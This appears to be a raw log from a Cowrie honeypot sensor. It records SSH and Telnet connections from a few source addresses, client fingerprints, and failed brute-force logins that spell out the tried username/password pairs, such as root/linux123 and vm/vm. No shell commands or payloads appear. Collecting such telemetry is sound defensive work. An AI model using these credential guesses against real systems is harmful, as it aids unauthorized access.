{"eventid":"cowrie.session.closed","duration":31.136940717697144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:27.140557Z","src_ip":"74.91.213.120","session":"5febc23dd052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40726,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdcefcfb12b0","protocol":"ssh","message":"New connection: 45.153.34.114:40726 (159.203.135.109:22) [session: fdcefcfb12b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:29.277600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:29.281760Z","src_ip":"45.153.34.114","session":"fdcefcfb12b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:29.370679Z","src_ip":"45.153.34.114","session":"fdcefcfb12b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:29.626258Z","src_ip":"45.153.34.114","session":"fdcefcfb12b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:30.716980Z","src_ip":"45.153.34.114","session":"fdcefcfb12b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1650652885437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:30.941417Z","src_ip":"74.91.213.120","session":"2db1c269befc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":56486,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe6620a35fd4","protocol":"ssh","message":"New connection: 125.16.27.190:56486 (159.203.135.109:22) [session: fe6620a35fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:31.507338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:31.511169Z","src_ip":"125.16.27.190","session":"fe6620a35fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:31.729860Z","src_ip":"125.16.27.190","session":"fe6620a35fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38558,"dst_ip":"159.203.135.109","dst_port":23,"session":"fec6658eb4e8","protocol":"telnet","message":"New connection: 74.91.213.120:38558 (159.203.135.109:23) [session: fec6658eb4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:32.074495Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"patate","message":"login attempt [root/patate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:32.641470Z","src_ip":"125.16.27.190","session":"fe6620a35fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:33.868904Z","src_ip":"125.16.27.190","session":"fe6620a35fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49488,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56683f65545","protocol":"ssh","message":"New connection: 45.153.34.114:49488 (159.203.135.109:22) [session: f56683f65545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:37.450109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:37.453760Z","src_ip":"45.153.34.114","session":"f56683f65545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:37.538325Z","src_ip":"45.153.34.114","session":"f56683f65545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:37.851022Z","src_ip":"45.153.34.114","session":"f56683f65545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:38.940613Z","src_ip":"45.153.34.114","session":"f56683f65545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.898797273635864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:40.424459Z","src_ip":"74.91.213.120","session":"b969dde113c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.147031784057617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:42.873312Z","src_ip":"74.91.213.120","session":"61d36bab032d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":49146,"dst_ip":"159.203.135.109","dst_port":23,"session":"503b628915e2","protocol":"telnet","message":"New connection: 74.91.213.120:49146 (159.203.135.109:23) [session: 503b628915e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:45.823859Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44808,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2733bab44cf","protocol":"ssh","message":"New connection: 45.153.34.114:44808 (159.203.135.109:22) [session: b2733bab44cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:45.867438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:45.871501Z","src_ip":"45.153.34.114","session":"b2733bab44cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:45.958668Z","src_ip":"45.153.34.114","session":"b2733bab44cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:46.215349Z","src_ip":"45.153.34.114","session":"b2733bab44cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:47.303768Z","src_ip":"45.153.34.114","session":"b2733bab44cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.170318603515625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:47.656515Z","src_ip":"74.91.213.120","session":"34cd721a1b9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.144498825073242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:48.283318Z","src_ip":"74.91.213.120","session":"2348faf7168b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":60400,"dst_ip":"159.203.135.109","dst_port":23,"session":"99bcc2835a42","protocol":"telnet","message":"New connection: 74.91.213.120:60400 (159.203.135.109:23) [session: 99bcc2835a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:48.512921Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":60410,"dst_ip":"159.203.135.109","dst_port":23,"session":"2027ad9b9eff","protocol":"telnet","message":"New connection: 74.91.213.120:60410 (159.203.135.109:23) [session: 2027ad9b9eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:48.567563Z"}
{"eventid":"cowrie.session.closed","duration":31.29826807975769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:49.439827Z","src_ip":"74.91.213.120","session":"d18afc9d9743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":60414,"dst_ip":"159.203.135.109","dst_port":23,"session":"49c5cef6fea7","protocol":"telnet","message":"New connection: 74.91.213.120:60414 (159.203.135.109:23) [session: 49c5cef6fea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:53.997358Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51116,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec4db43823c","protocol":"ssh","message":"New connection: 45.153.34.114:51116 (159.203.135.109:22) [session: aec4db43823c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:54.013563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:54.018480Z","src_ip":"45.153.34.114","session":"aec4db43823c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:54.167399Z","src_ip":"45.153.34.114","session":"aec4db43823c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:54.476358Z","src_ip":"45.153.34.114","session":"aec4db43823c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.137760162353516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:54.497571Z","src_ip":"74.91.213.120","session":"7fad2f84c9b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179075479507446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:54.761666Z","src_ip":"74.91.213.120","session":"92767f85700d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:55.576332Z","src_ip":"45.153.34.114","session":"aec4db43823c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":9384,"dst_ip":"10.17.0.5","dst_port":22,"session":"e62cec27ff0c","protocol":"ssh","message":"New connection: 175.107.32.186:9384 (10.17.0.5:22) [session: e62cec27ff0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:55.938804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:55.944039Z","src_ip":"175.107.32.186","session":"e62cec27ff0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:56.171877Z","src_ip":"175.107.32.186","session":"e62cec27ff0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:57.112585Z","src_ip":"175.107.32.186","session":"e62cec27ff0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.145853281021118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:57.530758Z","src_ip":"74.91.213.120","session":"dbe4f1fe41e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:41:58.343701Z","src_ip":"175.107.32.186","session":"e62cec27ff0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48868,"dst_ip":"159.203.135.109","dst_port":22,"session":"36b0db4a9fe3","protocol":"ssh","message":"New connection: 45.153.34.114:48868 (159.203.135.109:22) [session: 36b0db4a9fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:02.179978Z"}
{"eventid":"cowrie.session.closed","duration":30.148061275482178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:02.222450Z","src_ip":"74.91.213.120","session":"fec6658eb4e8","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:02.288095Z","src_ip":"45.153.34.114","session":"36b0db4a9fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:02.293166Z","src_ip":"45.153.34.114","session":"36b0db4a9fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:02.676563Z","src_ip":"45.153.34.114","session":"36b0db4a9fe3","protocol":"ssh"}
